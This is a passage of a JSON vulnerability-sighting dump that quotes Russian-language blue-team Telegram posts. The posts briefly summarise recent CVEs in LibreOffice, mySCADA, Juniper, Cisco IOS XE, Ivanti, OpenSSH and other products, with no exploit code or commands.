\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-12425 \u0438 CVE-2024-12426 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 LibreOffice, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u0440\u0435\u0434\u0435\u043d\u0448\u0435\u043b\u044b \u0438 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-25067, CVE-2025-22896, CVE-2025-23411, CVE-2025-24865 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 mySCADA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0441\u0435\u0449\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2025-21589 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Juniper Networks: Session Smart Router, Session Smart Conductor \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 WAN Assurance.\n\n\ud83d\udd35CVE-2024-12562 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 s2Member Pro \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2023-20198 \u0438 CVE-2023-20273 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Cisco IOS XE \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u0412 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 RedMike/Salt Typhoon.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:11.158680Z"}, {"uuid": "c24f9a1d-dc43-4f66-8b4c-52bb2fc3f106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12284", "type": "seen", "source": "https://t.me/purp_sec/294", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-10811, CVE-2024-13161, CVE-2024-13160, CVE-2024-13159 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 Ivanti \u0432 \u0445\u043e\u0434\u0435 \u0430\u0443\u0434\u0438\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043d\u0435 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 Ivanti EPM \u0434\u043b\u044f \u0440\u0435\u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0430\u0442\u0430\u043a, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u0437\u043b\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0430.\n\n\ud83d\udd35CVE-2024-12510 \u0438 CVE-2024-12511 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u041c\u0424\u0423 Xerox VersaLink, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pass-back \u0430\u0442\u0430\u043a, \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0430 LDAP \u0438 SMB/FTP.\n\n\ud83d\udd35CVE-2025-26465 \u0438 CVE-2025-26466 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 OpenSSH, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c MITM-\u0430\u0442\u0430\u043a\u0438 \u043f\u0440\u0438 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0439 \u043e\u043f\u0446\u0438\u0438 VerifyHostKeyDNS \u0438 Dos-\u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-0999 \u0438 CVE-2025-1426 \u2014 \u0432 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 Google Stable Channel \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b \u0434\u0432\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438. \u041f\u0435\u0440\u0432\u0430\u044f \u0437\u0430\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u0432 heap-buffer-overflow \u0432 V8, JavaScript-\u0434\u0432\u0438\u0436\u043a\u0435 \u043e\u0442 Chrome, \u0432\u0442\u043e\u0440\u0430\u044f \u2014 \u0441 heap-buffer-overflo \u0432 GPU.\n\n\ud83d\udd35CVE-2024-12284 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 NetScaler Console, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u044e\u0449\u0430\u044f \u0438\u0437-\u0437\u0430 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0431\u0435\u0437 \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2022-0778 \u0438 CVE-2025-0867 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043b\u0438\u043d\u0435\u0439\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432 MEAC300 \u043e\u0442 SICK. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:11.183062Z"}, {"uuid": "d192a962-442f-428f-8247-98ed56a06233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12425", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "\u0414\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043b\u0438\u0448\u044c \u0437\u0430\u0442\u0438\u0448\u044c\u0435 \u043f\u0435\u0440\u0435\u0434 \u0431\u0443\u0440\u0435\u0439, \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u044f\u0442\u044c\u0441\u044f.\n\n\u0412\u043e\u0442 \u0432\u0430\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-12425 \u0438 CVE-2024-12426 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 LibreOffice, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u0440\u0435\u0434\u0435\u043d\u0448\u0435\u043b\u044b \u0438 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-25067, CVE-2025-22896, CVE-2025-23411, CVE-2025-24865 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 mySCADA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0441\u0435\u0449\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2025-21589 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Juniper Networks: Session Smart Router, Session Smart Conductor \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 WAN Assurance.\n\n\ud83d\udd35CVE-2024-12562 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 s2Member Pro \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2023-20198 \u0438 CVE-2023-20273 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Cisco IOS XE \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u0412 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438 RedMike/Salt Typhoon.\n\n#blue_team #CVE_\u0434\u043d\u044f", "creation_timestamp": "2026-08-04T13:00:11.251695Z"}, {"uuid": "5f71e1b8-baad-4ec6-910d-e95dfa497259", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12426", "type": "seen", "source": "https://t.me/purp_sec/285", "content": "\u0414\u0430\u0432\u043d\u043e \u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u043e \u044d\u0442\u043e \u0431\u044b\u043b\u043e \u043b\u0438\u0448\u044c \u0437\u0430\u0442\u0438\u0448\u044c\u0435 \u043f\u0435\u0440\u0435\u0434 \u0431\u0443\u0440\u0435\u0439, \u043d\u0435 \u0441\u0442\u043e\u0438\u0442 \u0440\u0430\u0441\u0441\u043b\u0430\u0431\u043b\u044f\u0442\u044c\u0441\u044f.\n\n\u0412\u043e\u0442 \u0432\u0430\u043c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35CVE-2024-12425 \u0438 CVE-2024-12426 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 LibreOffice, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0438\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434, \u043a\u0440\u0430\u0441\u0442\u044c \u043a\u0440\u0435\u0434\u0435\u043d\u0448\u0435\u043b\u044b \u0438 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438.\n\n\ud83d\udd35CVE-2025-25067, CVE-2025-22896, CVE-2025-23411, CVE-2025-24865 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 mySCADA, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u043c\u0443 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u0440\u0430\u0441\u0442\u044c \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u043e\u0441\u0435\u0449\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2025-21589 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043e\u0431\u043e\u0439\u0442\u0438 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Juniper Networks: Session Smart Router, Session Smart Conductor \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0445 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430\u0445 WAN Assurance.\n\n\ud83d\udd35CVE-2024-12562 \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u043f\u043b\u0430\u0433\u0438\u043d\u0435 s2Member Pro \u0434\u043b\u044f WordPress. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 PHP-\u043e\u0431\u044a\u0435\u043a\u0442\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0430\u0439\u0442\u044b.\n\n\ud83d\udd35CVE-2023-20198 \u0438 CVE-2023-20273 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0435 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0432 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445 Cisco IOS XE \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435. \u0412 \u0434\u0430\u043d\u043d\u044b\u0439 \u043c\u043e\u043c\u0435\u043d\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f 